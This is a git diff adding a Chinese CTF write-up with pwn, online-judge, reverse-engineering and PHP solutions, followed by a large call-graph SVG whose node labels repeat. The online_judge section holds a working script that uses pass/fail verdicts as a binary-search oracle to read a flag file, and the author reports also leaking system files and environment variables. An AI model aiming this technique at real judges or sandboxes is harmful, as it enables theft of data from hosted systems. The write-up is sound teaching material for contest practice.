+p.sendlineafter(b"###", b"1")
+p.sendlineafter(b">>>", b"1")
+p.sendlineafter(b"///", b"1")
+p.sendlineafter(b" :", b"/flag")
+p.sendlineafter(b"Leaving a message :", b"1")
+while True:
+    p.recv()
+
+

online_judge

+

没有执行权限,文件系统只读
+二分可以偷东西出来(AC, WA)
+一开始不知道/flag是目录,痛失一血
+打了一堆东西出来,甚至把环境变量都偷了出来

+
import os
+import sys
+import requests
+
+host, port = '47.104.129.38', 10101
+base_url = f'http://{host}:{port}'
+token_url = f'{base_url}/getToken'
+judge_url = f'{base_url}/judge'
+
+
+def getToken():
+    result = requests.post(token_url).json()
+    assert not result['error'], "System error"
+    return result['data']['token']
+
+
+token = getToken()
+
+
+def judge(chall: str, src: str, language: str = 'C'):
+    data = {
+        'src': src,
+        'language': language,
+        'action': chall,
+        'token': token,
+    }
+    result = requests.post(judge_url, json=data).json()
+    return 'SUCCESS' in result['data']
+
+
+l = ['etc', 'usr', 'sbin', 'lib64', 'home', 'dev', 'boot', 'root', 'sys', 'proc', 'opt', 'mnt', 'var', 'srv', 'lib',
+     'run', 'media', 'bin', 'tmp', 'test_case', 'flag', 'log', 'judger', '.dockerenv', 'code']
+k = ['unbuffer.so', '__init__.py', 'compiler.py', 'unbuffer.c', '.python-version', 'utils.py', 'entry']
+p = ['compile.log', 'gunicorn.log', 'judge_server.log', 'judger.log']
+o = 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PYTHONIOENCODING=UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US:en LC_ALL=en_US.UTF-8'
+u = '/usr/bin/python3 /judger/run/165\SVAbYV734P3=\A14VQ6]P7CH47MW/__pycache__/solution.cpython-36.pyc'
+flag = """'"""
+
+for i in range(len(flag) - 1, 500):
+    min = 32
+    max = 128
+    while 1:
+        j = min + (max - min) // 2
+        if min == j:
+            flag += chr(j)
+            print(flag)
+            break
+        res = judge('test', f"""import os
+a,b = map(int,input().split(' '))
+r=open("/flag/flag").read()
+if ord(r[{i}])<{j}:
+    print(a+b)
+else:
+    print(a+b+1)
+""", 'PYTHON')
+        if res:
+            max = j
+        else:
+            min = j
+
+

RE [AK]

+

godeep

+

自动化逆向现在大家都会了(好多解)
+这里命名是IDA7.7自动改的,7.7比7.5对go的支持好了很多
+'godeep_tree.VSWEwsr'right输出的函数
+'godeep_tree.ApSzXJOjiFA'是main里开始的函数
+按if的内容01一下,然后把01串反过来就是flag

+
name = 'godeep_tree.VSWEwsr'
+r=""
+while name != 'godeep_tree.ApSzXJOjiFA':
+    print(name, end = ", ")
+    func = idaapi.get_func(get_name_ea_simple(name)) 
+    ea = func.start_ea
+    ref = CodeRefsTo(ea, 1)
+    fun = next(ref)
+    code = str(idaapi.decompile(fun))
+    a, b = code.split('else')
+    if name.split(".")[-1] in a:
+        r+="1"
+    else:
+        assert name.split(".")[-1] in b
+        r+="0"
+    name = re.findall("void __fastcall (.*?)\(",code)[0]
+    name = 'godeep_tree.' + name.split("_")[-1]
+
+print(name, end = ", ")
+print()
+print(bytes.fromhex(hex(eval("0B"+r[::-1]))[2:]))
+
+

easy_python [三血]

+

正向还原字节码

+
r = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39,
+     230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]
+
+for i in r:
+    c = i >> 5
+    d = i << 3
+    print(chr((c | d) & 0x7f), end='')
+
+

baby_transform [三血]

+

鉴定为傅里叶变换,逆变换是:
+picture 4

+

欧拉欧拉欧拉 $e^{(jx)}=cosx+jsinx$ 结束

+
#include<cstdio>
+#include<vector>
+#include<iostream>
+using namespace std;
+
+
+int  main() {
+    FILE* stream = fopen("flag.enc", "rb");
+    char* flag = (char*)"flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}";
+    double* res = (double*)malloc(16 * 160);
+    double* ak = (double*)malloc(16 * 160);
+    fread(res, 1uLL, 16 * 42, stream);
+    for (int i = 0; i < 42; ++i) {
+        double x = 0.0, y = 0.0;
+        for (int j = 0; j < 42; j++) {
+            x += flag[j] * cos(j * (-6.283185307179586 * i) / 42);
+            y += flag[j] * sin(j * (-6.283185307179586 * i) / 42);
+        }
+        //res[2 * i] = y;
+       // res[2 * i + 1] = x;
+        ak[i] = (res[2 * i + 1] - res[2 * i]) / 42;
+    }
+
+    for (int i = 0; i < 42; ++i) {
+        double x = 0.0, y = 0.0;
+        for (int j = 0; j < 42; j++) {
+            x += ak[j] * cos(j * (-6.283185307179586 * i) / 42);
+            y += ak[j] * sin(j * (-6.283185307179586 * i) / 42);
+        }
+        cout << (x + y) << " ";
+    }
+}
+
+

Web

+

ezphp

+

我不知道php8有什么魔法特性,但我知道 $3 * 37 = 111$
+然后传个 ?num=3*37 就..过了
+一开始想到0x然后0被墙了,然后想逻辑拼接,===后接个|2什么的,然后就想到位运算,但是位运算长度不太够,然后去factordb找乘法找到3*37,回来时候已经3解了,大家秒的都好快

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/2022dfjk/img/graphviz-2.svg b/Writeup/2022dfjk/img/graphviz-2.svg new file mode 100644 index 000000000..1b6521555 --- /dev/null +++ b/Writeup/2022dfjk/img/graphviz-2.svg @@ -0,0 +1,24709 @@ + + +G + + + +START + +START + + + +sub_6051 + +sub_6051 + + + +START->sub_6051 + + + + + +sub_6051->START + + + + + +sub_10659 + +sub_10659 + + + +sub_6051->sub_10659 + + + + + +sub_10659->sub_6051 + + + + + +sub_15267 + +sub_15267 + + + +sub_10659->sub_15267 + + + + + +sub_15267->sub_10659 + + + + + +sub_15268 + +sub_15268 + + + +sub_15267->sub_15268 + + + + + +sub_15268->sub_15267 + + + + + +sub_15332 + +sub_15332 + + + +sub_15268->sub_15332 + + + + + +sub_15332->sub_15268 + + + + + +sub_15396 + +sub_15396 + + + +sub_15332->sub_15396 + + + + + +sub_15396->sub_15332 + + + + + +sub_15460 + +sub_15460 + + + +sub_15396->sub_15460 + + + + + +sub_15460->sub_15396 + + + + + +sub_15461 + +sub_15461 + + + +sub_15460->sub_15461 + + + + + +sub_15461->sub_15460 + + + + + +sub_15525 + +sub_15525 + + + +sub_15461->sub_15525 + + + + + +sub_15525->sub_15461 + + + + + +sub_15589 + +sub_15589 + + + +sub_15525->sub_15589 + + + + + +sub_15589->sub_15525 + + + + + +sub_20197 + +sub_20197 + + + +sub_15589->sub_20197 + + + + + +sub_20197->sub_15589 + + + + + +sub_24805 + +sub_24805 + + + +sub_20197->sub_24805 + + + + + +sub_24805->sub_20197 + + + + + +sub_24806 + +sub_24806 + + + +sub_24805->sub_24806 + + + + + +sub_24806->sub_24805 + + + + + +sub_24870 + +sub_24870 + + + +sub_24806->sub_24870 + + + + + +sub_24870->sub_24806 + + + + + +sub_24871 + +sub_24871 + + + +sub_24870->sub_24871 + + + + + +sub_24871->sub_24870 + + + + + +sub_24935 + +sub_24935 + + + +sub_24871->sub_24935 + + + + + +sub_24935->sub_24871 + + + + + +sub_24999 + +sub_24999 + + + +sub_24935->sub_24999 + + + + + +sub_24999->sub_24935 + + + + + +sub_25063 + +sub_25063 + + + +sub_24999->sub_25063 + + + + + +sub_25063->sub_24999 + + + + + +sub_25064 + +sub_25064 + + + +sub_25063->sub_25064 + + + + + +sub_25064->sub_25063 + + + + + +sub_29672 + +sub_29672 + + + +sub_25064->sub_29672 + + + + + +sub_29672->sub_25064 + + + + + +sub_29673 + +sub_29673 + + + +sub_29672->sub_29673 + + + + + +sub_29673->sub_29672 + + + + + +sub_29737 + +sub_29737 + + + +sub_29673->sub_29737 + + + + + +sub_29737->sub_29673 + + + + + +sub_29801 + +sub_29801 + + + +sub_29737->sub_29801 + + + + + +sub_29801->sub_29737 + + + + + +sub_29865 + +sub_29865 + + + +sub_29801->sub_29865 + + + + + +sub_29865->sub_29801 + + + + + +sub_29929 + +sub_29929 + + + +sub_29865->sub_29929 + + + + + +sub_29929->sub_29865 + + + + + +sub_29928 + +sub_29928 + + + +sub_29929->sub_29928 + + + + + +sub_29930 + +sub_29930 + + + +sub_29929->sub_29930 + + + + + +sub_29928->sub_29929 + + + + + +sub_29927 + +sub_29927 + + + +sub_29928->sub_29927 + + + + + +sub_29930->sub_29929 + + + + + +sub_29931 + +sub_29931 + + + +sub_29930->sub_29931 + + + + + +sub_29927->sub_29928 + + + + + +sub_29926 + +sub_29926 + + + +sub_29927->sub_29926 + + + + + +sub_29931->sub_29930 + + + + + +sub_29995 + +sub_29995 + + + +sub_29931->sub_29995 + + + + + +sub_29926->sub_29927 + + + + + +sub_25318 + +sub_25318 + + + +sub_29926->sub_25318 + + + + + +sub_29990 + +sub_29990 + + + +sub_29926->sub_29990 + + + + + +sub_29995->sub_29931 + + + + + +sub_29996 + +sub_29996 + + + +sub_29995->sub_29996 + + + + + +sub_25318->sub_29926 + + + + + +sub_29990->sub_29926 + + + + + +sub_30054 + +sub_30054 + + + +sub_29990->sub_30054 + + + + + +sub_29996->sub_29995 + + + + + +sub_29997 + +sub_29997 + + + +sub_29996->sub_29997 + + + + + +sub_30054->sub_29990 + + + + + +sub_30118 + +sub_30118 + + + +sub_30054->sub_30118 + + + + + +sub_29997->sub_29996 + + + + + +sub_29998 + +sub_29998 + + + +sub_29997->sub_29998 + + + + + +sub_30118->sub_30054 + + + + + +sub_30119 + +sub_30119 + + + +sub_30118->sub_30119 + + + + + +sub_30182 + +sub_30182 + + + +sub_30118->sub_30182 + + + + + +sub_29998->sub_29997 + + + + + +sub_29999 + +sub_29999 + + + +sub_29998->sub_29999 + + + + + +sub_30119->sub_30118 + + + + + +sub_34727 + +sub_34727 + + + +sub_30119->sub_34727 + + + + + +sub_30182->sub_30118 + + + + + +sub_30246 + +sub_30246 + + + +sub_30182->sub_30246 + + + + + +sub_29999->sub_29998 + + + + + +sub_30000 + +sub_30000 + + + +sub_29999->sub_30000 + + + + + +sub_34727->sub_30119 + + + + + +sub_39335 + +sub_39335 + + + +sub_34727->sub_39335 + + + + + +sub_30246->sub_30182 + + + + + +sub_30310 + +sub_30310 + + + +sub_30246->sub_30310 + + + + + +sub_30000->sub_29999 + + + + + +sub_30001 + +sub_30001 + + + +sub_30000->sub_30001 + + + + + +sub_39335->sub_34727 + + + + + +sub_43943 + +sub_43943 + + + +sub_39335->sub_43943 + + + + + +sub_30310->sub_30246 + + + + + +sub_30374 + +sub_30374 + + + +sub_30310->sub_30374 + + + + + +sub_30001->sub_30000 + + + + + +sub_29937 + +sub_29937 + + + +sub_30001->sub_29937 + + + + + +sub_30002 + +sub_30002 + + + +sub_30001->sub_30002 + + + + + +sub_43943->sub_39335 + + + + + +sub_43944 + +sub_43944 + + + +sub_43943->sub_43944 + + + + + +sub_30374->sub_30310 + + + + + +sub_30438 + +sub_30438 + + + +sub_30374->sub_30438 + + + + + +sub_29937->sub_30001 + + + + + +sub_29873 + +sub_29873 + + + +sub_29937->sub_29873 + + + + + +sub_30002->sub_30001 + + + + + +sub_30003 + +sub_30003 + + + +sub_30002->sub_30003 + + + + + +sub_43944->sub_43943 + + + + + +sub_43945 + +sub_43945 + + + +sub_43944->sub_43945 + + + + + +sub_30438->sub_30374 + + + + + +sub_30502 + +sub_30502 + + + +sub_30438->sub_30502 + + + + + +sub_29873->sub_29937 + + + + + +sub_29809 + +sub_29809 + + + +sub_29873->sub_29809 + + + + + +sub_30003->sub_30002 + + + + + +sub_30004 + +sub_30004 + + + +sub_30003->sub_30004 + + + + + +sub_43945->sub_43944 + + + + + +sub_43946 + +sub_43946 + + + +sub_43945->sub_43946 + + + + + +sub_30502->sub_30438 + + + + + +sub_30566 + +sub_30566 + + + +sub_30502->sub_30566 + + + + + +sub_29809->sub_29873 + + + + + +sub_34417 + +sub_34417 + + + +sub_29809->sub_34417 + + + + + +sub_30004->sub_30003 + + + + + +sub_30005 + +sub_30005 + + + +sub_30004->sub_30005 + + + + + +sub_43946->sub_43945 + + + + + +sub_43947 + +sub_43947 + + + +sub_43946->sub_43947 + + + + + +sub_30566->sub_30502 + + + + + +sub_30630 + +sub_30630 + + + +sub_30566->sub_30630 + + + + + +sub_34417->sub_29809 + + + + + +sub_39025 + +sub_39025 + + + +sub_34417->sub_39025 + + + + + +sub_30005->sub_30004 + + + + + +sub_30006 + +sub_30006 + + + +sub_30005->sub_30006 + + + + + +sub_43947->sub_43946 + + + + + +sub_44011 + +sub_44011 + + + +sub_43947->sub_44011 + + + + + +sub_30630->sub_30566 + + + + + +sub_30694 + +sub_30694 + + + +sub_30630->sub_30694 + + + + + +sub_39025->sub_34417 + + + + + +sub_43633 + +sub_43633 + + + +sub_39025->sub_43633 + + + + + +sub_30006->sub_30005 + + + + + +sub_30007 + +sub_30007 + + + +sub_30006->sub_30007 + + + + + +sub_44011->sub_43947 + + + + + +sub_44075 + +sub_44075 + + + +sub_44011->sub_44075 + + + + + +sub_30694->sub_30630 + + + + + +sub_30758 + +sub_30758 + + + +sub_30694->sub_30758 + + + + + +sub_43633->sub_39025 + + + + + +sub_43569 + +sub_43569 + + + +sub_43633->sub_43569 + + + + + +sub_30007->sub_30006 + + + + + +sub_34615 + +sub_34615 + + + +sub_30007->sub_34615 + + + + + +sub_44075->sub_44011 + + + + + +sub_44074 + +sub_44074 + + + +sub_44075->sub_44074 + + + + + +sub_30758->sub_30694 + + + + + +sub_30822 + +sub_30822 + + + +sub_30758->sub_30822 + + + + + +sub_43569->sub_43633 + + + + + +sub_43505 + +sub_43505 + + + +sub_43569->sub_43505 + + + + + +sub_34615->sub_30007 + + + + + +sub_34616 + +sub_34616 + + + +sub_34615->sub_34616 + + + + + +sub_44074->sub_44075 + + + + + +sub_44138 + +sub_44138 + + + +sub_44074->sub_44138 + + + + + +sub_30822->sub_30758 + + + + + +sub_30886 + +sub_30886 + + + +sub_30822->sub_30886 + + + + + +sub_43505->sub_43569 + + + + + +sub_43441 + +sub_43441 + + + +sub_43505->sub_43441 + + + + + +sub_34616->sub_34615 + + + + + +sub_34680 + +sub_34680 + + + +sub_34616->sub_34680 + + + + + +sub_44138->sub_44074 + + + + + +sub_44202 + +sub_44202 + + + +sub_44138->sub_44202 + + + + + +sub_30886->sub_30822 + + + + + +sub_30950 + +sub_30950 + + + +sub_30886->sub_30950 + + + + + +sub_43441->sub_43505 + + + + + +sub_43442 + +sub_43442 + + + +sub_43441->sub_43442 + + + + + +sub_34680->sub_34616 + + + + + +sub_39288 + +sub_39288 + + + +sub_34680->sub_39288 + + + + + +sub_44202->sub_44138 + + + + + +sub_44201 + +sub_44201 + + + +sub_44202->sub_44201 + + + + + +sub_44266 + +sub_44266 + + + +sub_44202->sub_44266 + + + + + +sub_30950->sub_30886 + + + + + +sub_31014 + +sub_31014 + + + +sub_30950->sub_31014 + + + + + +sub_43442->sub_43441 + + + + + +sub_43378 + +sub_43378 + + + +sub_43442->sub_43378 + + + + + +sub_39288->sub_34680 + + + + + +sub_39289 + +sub_39289 + + + +sub_39288->sub_39289 + + + + + +sub_44201->sub_44202 + + + + + +sub_44265 + +sub_44265 + + + +sub_44201->sub_44265 + + + + + +sub_44266->sub_44202 + + + + + +sub_44266->sub_44265 + + + + + +sub_44267 + +sub_44267 + + + +sub_44266->sub_44267 + + + + + +sub_31014->sub_30950 + + + + + +sub_31078 + +sub_31078 + + + +sub_31014->sub_31078 + + + + + +sub_43378->sub_43442 + + + + + +sub_43379 + +sub_43379 + + + +sub_43378->sub_43379 + + + + + +sub_39289->sub_39288 + + + + + +sub_39290 + +sub_39290 + + + +sub_39289->sub_39290 + + + + + +sub_44265->sub_44201 + + + + + +sub_44265->sub_44266 + + + + + +sub_44264 + +sub_44264 + + + +sub_44265->sub_44264 + + + + + +sub_44267->sub_44266 + + + + + +sub_44268 + +sub_44268 + + + +sub_44267->sub_44268 + + + + + +sub_31078->sub_31014 + + + + + +sub_31079 + +sub_31079 + + + +sub_31078->sub_31079 + + + + + +sub_43379->sub_43378 + + + + + +sub_43380 + +sub_43380 + + + +sub_43379->sub_43380 + + + + + +sub_39290->sub_39289 + + + + + +sub_43898 + +sub_43898 + + + +sub_39290->sub_43898 + + + + + +sub_44264->sub_44265 + + + + + +sub_44263 + +sub_44263 + + + +sub_44264->sub_44263 + + + + + +sub_44268->sub_44267 + + + + + +sub_48876 + +sub_48876 + + + +sub_44268->sub_48876 + + + + + +sub_44332 + +sub_44332 + + + +sub_44268->sub_44332 + + + + + +sub_31079->sub_31078 + + + + + +sub_31143 + +sub_31143 + + + +sub_31079->sub_31143 + + + + + +sub_31080 + +sub_31080 + + + +sub_31079->sub_31080 + + + + + +sub_43380->sub_43379 + + + + + +sub_43381 + +sub_43381 + + + +sub_43380->sub_43381 + + + + + +sub_47988 + +sub_47988 + + + +sub_43380->sub_47988 + + + + + +sub_43898->sub_39290 + + + + + +sub_43962 + +sub_43962 + + + +sub_43898->sub_43962 + + + + + +sub_44263->sub_44264 + + + + + +sub_48876->sub_44268 + + + + + +sub_48940 + +sub_48940 + + + +sub_48876->sub_48940 + + + + + +sub_44332->sub_44268 + + + + + +sub_44332->sub_48940 + + + + + +sub_31143->sub_31079 + + + + + +sub_31144 + +sub_31144 + + + +sub_31143->sub_31144 + + + + + +sub_31080->sub_31079 + + + + + +sub_31080->sub_31144 + + + + + +sub_31016 + +sub_31016 + + + +sub_31080->sub_31016 + + + + + +sub_43381->sub_43380 + + + + + +sub_47988->sub_43380 + + + + + +sub_48052 + +sub_48052 + + + +sub_47988->sub_48052 + + + + + +sub_43962->sub_43898 + + + + + +sub_48570 + +sub_48570 + + + +sub_43962->sub_48570 + + + + + +sub_48940->sub_48876 + + + + + +sub_48940->sub_44332 + + + + + +sub_49004 + +sub_49004 + + + +sub_48940->sub_49004 + + + + + +sub_31144->sub_31143 + + + + + +sub_31144->sub_31080 + + + + + +sub_31145 + +sub_31145 + + + +sub_31144->sub_31145 + + + + + +sub_31208 + +sub_31208 + + + +sub_31144->sub_31208 + + + + + +sub_31016->sub_31080 + + + + + +sub_26408 + +sub_26408 + + + +sub_31016->sub_26408 + + + + + +sub_48052->sub_47988 + + + + + +sub_48053 + +sub_48053 + + + +sub_48052->sub_48053 + + + + + +sub_48116 + +sub_48116 + + + +sub_48052->sub_48116 + + + + + +sub_48570->sub_43962 + + + + + +sub_53178 + +sub_53178 + + + +sub_48570->sub_53178 + + + + + +sub_49004->sub_48940 + + + + + +sub_49068 + +sub_49068 + + + +sub_49004->sub_49068 + + + + + +sub_31145->sub_31144 + + + + + +sub_26537 + +sub_26537 + + + +sub_31145->sub_26537 + + + + + +sub_31146 + +sub_31146 + + + +sub_31145->sub_31146 + + + + + +sub_31208->sub_31144 + + + + + +sub_26408->sub_31016 + + + + + +sub_48053->sub_48052 + + + + + +sub_48117 + +sub_48117 + + + +sub_48053->sub_48117 + + + + + +sub_48054 + +sub_48054 + + + +sub_48053->sub_48054 + + + + + +sub_48116->sub_48052 + + + + + +sub_48116->sub_48117 + + + + + +sub_53178->sub_48570 + + + + + +sub_57786 + +sub_57786 + + + +sub_53178->sub_57786 + + + + + +sub_49068->sub_49004 + + + + + +sub_49132 + +sub_49132 + + + +sub_49068->sub_49132 + + + + + +sub_26537->sub_31145 + + + + + +sub_26601 + +sub_26601 + + + +sub_26537->sub_26601 + + + + + +sub_31146->sub_31145 + + + + + +sub_31210 + +sub_31210 + + + +sub_31146->sub_31210 + + + + + +sub_31147 + +sub_31147 + + + +sub_31146->sub_31147 + + + + + +sub_48117->sub_48053 + + + + + +sub_48117->sub_48116 + + + + + +sub_48181 + +sub_48181 + + + +sub_48117->sub_48181 + + + + + +sub_48054->sub_48053 + + + + + +sub_52662 + +sub_52662 + + + +sub_48054->sub_52662 + + + + + +sub_48055 + +sub_48055 + + + +sub_48054->sub_48055 + + + + + +sub_57786->sub_53178 + + + + + +sub_62394 + +sub_62394 + + + +sub_57786->sub_62394 + + + + + +sub_57722 + +sub_57722 + + + +sub_57786->sub_57722 + + + + + +sub_57787 + +sub_57787 + + + +sub_57786->sub_57787 + + + + + +sub_49132->sub_49068 + + + + + +sub_49131 + +sub_49131 + + + +sub_49132->sub_49131 + + + + + +sub_26601->sub_26537 + + + + + +sub_26602 + +sub_26602 + + + +sub_26601->sub_26602 + + + + + +sub_31210->sub_31146 + + + + + +sub_31210->sub_26602 + + + + + +sub_31211 + +sub_31211 + + + +sub_31210->sub_31211 + + + + + +sub_31147->sub_31146 + + + + + +sub_31147->sub_31211 + + + + + +sub_31148 + +sub_31148 + + + +sub_31147->sub_31148 + + + + + +sub_26539 + +sub_26539 + + + +sub_31147->sub_26539 + + + + + +sub_48181->sub_48117 + + + + + +sub_48182 + +sub_48182 + + + +sub_48181->sub_48182 + + + + + +sub_52662->sub_48054 + + + + + +sub_48055->sub_48054 + + + + + +sub_62394->sub_57786 + + + + + +sub_67002 + +sub_67002 + + + +sub_62394->sub_67002 + + + + + +sub_57722->sub_57786 + + + + + +sub_57658 + +sub_57658 + + + +sub_57722->sub_57658 + + + + + +sub_57787->sub_57786 + + + + + +sub_57788 + +sub_57788 + + + +sub_57787->sub_57788 + + + + + +sub_49131->sub_49132 + + + + + +sub_49130 + +sub_49130 + + + +sub_49131->sub_49130 + + + + + +sub_26602->sub_26601 + + + + + +sub_26602->sub_31210 + + + + + +sub_26603 + +sub_26603 + + + +sub_26602->sub_26603 + + + + + +sub_21994 + +sub_21994 + + + +sub_26602->sub_21994 + + + + + +sub_26666 + +sub_26666 + + + +sub_26602->sub_26666 + + + + + +sub_31211->sub_31210 + + + + + +sub_31211->sub_31147 + + + + + +sub_31211->sub_26603 + + + + + +sub_31148->sub_31147 + + + + + +sub_31084 + +sub_31084 + + + +sub_31148->sub_31084 + + + + + +sub_26539->sub_31147 + + + + + +sub_26539->sub_26603 + + + + + +sub_48182->sub_48181 + + + + + +sub_67002->sub_62394 + + + + + +sub_71610 + +sub_71610 + + + +sub_67002->sub_71610 + + + + + +sub_67001 + +sub_67001 + + + +sub_67002->sub_67001 + + + + + +sub_57658->sub_57722 + + + + + +sub_57594 + +sub_57594 + + + +sub_57658->sub_57594 + + + + + +sub_57788->sub_57787 + + + + + +sub_62396 + +sub_62396 + + + +sub_57788->sub_62396 + + + + + +sub_49130->sub_49131 + + + + + +sub_49194 + +sub_49194 + + + +sub_49130->sub_49194 + + + + + +sub_26603->sub_26602 + + + + + +sub_26603->sub_31211 + + + + + +sub_26603->sub_26539 + + + + + +sub_21995 + +sub_21995 + + + +sub_26603->sub_21995 + + + + + +sub_26667 + +sub_26667 + + + +sub_26603->sub_26667 + + + + + +sub_21994->sub_26602 + + + + + +sub_21994->sub_21995 + + + + + +sub_22058 + +sub_22058 + + + +sub_21994->sub_22058 + + + + + +sub_26666->sub_26602 + + + + + +sub_26666->sub_26667 + + + + + +sub_26666->sub_22058 + + + + + +sub_31084->sub_31148 + + + + + +sub_71610->sub_67002 + + + + + +sub_76218 + +sub_76218 + + + +sub_71610->sub_76218 + + + + + +sub_67001->sub_67002 + + + + + +sub_67000 + +sub_67000 + + + +sub_67001->sub_67000 + + + + + +sub_57594->sub_57658 + + + + + +sub_57530 + +sub_57530 + + + +sub_57594->sub_57530 + + + + + +sub_62396->sub_57788 + + + + + +sub_62332 + +sub_62332 + + + +sub_62396->sub_62332 + + + + + +sub_62397 + +sub_62397 + + + +sub_62396->sub_62397 + + + + + +sub_49194->sub_49130 + + + + + +sub_49193 + +sub_49193 + + + +sub_49194->sub_49193 + + + + + +sub_21995->sub_26603 + + + + + +sub_21995->sub_21994 + + + + + +sub_22059 + +sub_22059 + + + +sub_21995->sub_22059 + + + + + +sub_26667->sub_26603 + + + + + +sub_26667->sub_26666 + + + + + +sub_26667->sub_22059 + + + + + +sub_22058->sub_21994 + + + + + +sub_22058->sub_26666 + + + + + +sub_22058->sub_22059 + + + + + +sub_22122 + +sub_22122 + + + +sub_22058->sub_22122 + + + + + +sub_76218->sub_71610 + + + + + +sub_80826 + +sub_80826 + + + +sub_76218->sub_80826 + + + + + +sub_67000->sub_67001 + + + + + +sub_66999 + +sub_66999 + + + +sub_67000->sub_66999 + + + + + +sub_57530->sub_57594 + + + + + +sub_57466 + +sub_57466 + + + +sub_57530->sub_57466 + + + + + +sub_62332->sub_62396 + + + + + +sub_62268 + +sub_62268 + + + +sub_62332->sub_62268 + + + + + +sub_62397->sub_62396 + + + + + +sub_62461 + +sub_62461 + + + +sub_62397->sub_62461 + + + + + +sub_49193->sub_49194 + + + + + +sub_49257 + +sub_49257 + + + +sub_49193->sub_49257 + + + + + +sub_22059->sub_21995 + + + + + +sub_22059->sub_26667 + + + + + +sub_22059->sub_22058 + + + + + +sub_22122->sub_22058 + + + + + +sub_80826->sub_76218 + + + + + +sub_85434 + +sub_85434 + + + +sub_80826->sub_85434 + + + + + +sub_80825 + +sub_80825 + + + +sub_80826->sub_80825 + + + + + +sub_66999->sub_67000 + + + + + +sub_71607 + +sub_71607 + + + +sub_66999->sub_71607 + + + + + +sub_57466->sub_57530 + + + + + +sub_57402 + +sub_57402 + + + +sub_57466->sub_57402 + + + + + +sub_62268->sub_62332 + + + + + +sub_62269 + +sub_62269 + + + +sub_62268->sub_62269 + + + + + +sub_62461->sub_62397 + + + + + +sub_62462 + +sub_62462 + + + +sub_62461->sub_62462 + + + + + +sub_49257->sub_49193 + + + + + +sub_85434->sub_80826 + + + + + +sub_90042 + +sub_90042 + + + +sub_85434->sub_90042 + + + + + +sub_80825->sub_80826 + + + + + +sub_80824 + +sub_80824 + + + +sub_80825->sub_80824 + + + + + +sub_71607->sub_66999 + + + + + +sub_76215 + +sub_76215 + + + +sub_71607->sub_76215 + + + + + +sub_57402->sub_57466 + + + + + +sub_57338 + +sub_57338 + + + +sub_57402->sub_57338 + + + + + +sub_62269->sub_62268 + + + + + +sub_62270 + +sub_62270 + + + +sub_62269->sub_62270 + + + + + +sub_62462->sub_62461 + + + + + +sub_62526 + +sub_62526 + + + +sub_62462->sub_62526 + + + + + +sub_90042->sub_85434 + + + + + +sub_90106 + +sub_90106 + + + +sub_90042->sub_90106 + + + + + +sub_80824->sub_80825 + + + + + +sub_80823 + +sub_80823 + + + +sub_80824->sub_80823 + + + + + +sub_76215->sub_71607 + + + + + +sub_76215->sub_80823 + + + + + +sub_57338->sub_57402 + + + + + +sub_57274 + +sub_57274 + + + +sub_57338->sub_57274 + + + + + +sub_62270->sub_62269 + + + + + +sub_62271 + +sub_62271 + + + +sub_62270->sub_62271 + + + + + +sub_62526->sub_62462 + + + + + +sub_62527 + +sub_62527 + + + +sub_62526->sub_62527 + + + + + +sub_90106->sub_90042 + + + + + +sub_94714 + +sub_94714 + + + +sub_90106->sub_94714 + + + + + +sub_80823->sub_80824 + + + + + +sub_80823->sub_76215 + + + + + +sub_57274->sub_57338 + + + + + +sub_57210 + +sub_57210 + + + +sub_57274->sub_57210 + + + + + +sub_62271->sub_62270 + + + + + +sub_57663 + +sub_57663 + + + +sub_62271->sub_57663 + + + + + +sub_62527->sub_62526 + + + + + +sub_62591 + +sub_62591 + + + +sub_62527->sub_62591 + + + + + +sub_94714->sub_90106 + + + + + +sub_99322 + +sub_99322 + + + +sub_94714->sub_99322 + + + + + +sub_57210->sub_57274 + + + + + +sub_57146 + +sub_57146 + + + +sub_57210->sub_57146 + + + + + +sub_57663->sub_62271 + + + + + +sub_57727 + +sub_57727 + + + +sub_57663->sub_57727 + + + + + +sub_62591->sub_62527 + + + + + +sub_62655 + +sub_62655 + + + +sub_62591->sub_62655 + + + + + +sub_99322->sub_94714 + + + + + +sub_99258 + +sub_99258 + + + +sub_99322->sub_99258 + + + + + +sub_57146->sub_57210 + + + + + +sub_57147 + +sub_57147 + + + +sub_57146->sub_57147 + + + + + +sub_57082 + +sub_57082 + + + +sub_57146->sub_57082 + + + + + +sub_57727->sub_57663 + + + + + +sub_57791 + +sub_57791 + + + +sub_57727->sub_57791 + + + + + +sub_62655->sub_62591 + + + + + +sub_62656 + +sub_62656 + + + +sub_62655->sub_62656 + + + + + +sub_99258->sub_99322 + + + + + +sub_99259 + +sub_99259 + + + +sub_99258->sub_99259 + + + + + +sub_57147->sub_57146 + + + + + +sub_57148 + +sub_57148 + + + +sub_57147->sub_57148 + + + + + +sub_57082->sub_57146 + + + + + +sub_57791->sub_57727 + + + + + +sub_57792 + +sub_57792 + + + +sub_57791->sub_57792 + + + + + +sub_62656->sub_62655 + + + + + +sub_62720 + +sub_62720 + + + +sub_62656->sub_62720 + + + + + +sub_99259->sub_99258 + + + + + +sub_99260 + +sub_99260 + + + +sub_99259->sub_99260 + + + + + +sub_57148->sub_57147 + + + + + +sub_57149 + +sub_57149 + + + +sub_57148->sub_57149 + + + + + +sub_57084 + +sub_57084 + + + +sub_57148->sub_57084 + + + + + +sub_57792->sub_57791 + + + + + +sub_62720->sub_62656 + + + + + +sub_67328 + +sub_67328 + + + +sub_62720->sub_67328 + + + + + +sub_99260->sub_99259 + + + + + +sub_99261 + +sub_99261 + + + +sub_99260->sub_99261 + + + + + +sub_57149->sub_57148 + + + + + +sub_57085 + +sub_57085 + + + +sub_57149->sub_57085 + + + + + +sub_57084->sub_57148 + + + + + +sub_57084->sub_57085 + + + + + +sub_67328->sub_62720 + + + + + +sub_71936 + +sub_71936 + + + +sub_67328->sub_71936 + + + + + +sub_99261->sub_99260 + + + + + +sub_99325 + +sub_99325 + + + +sub_99261->sub_99325 + + + + + +sub_57085->sub_57149 + + + + + +sub_57085->sub_57084 + + + + + +sub_71936->sub_67328 + + + + + +sub_71937 + +sub_71937 + + + +sub_71936->sub_71937 + + + + + +sub_76544 + 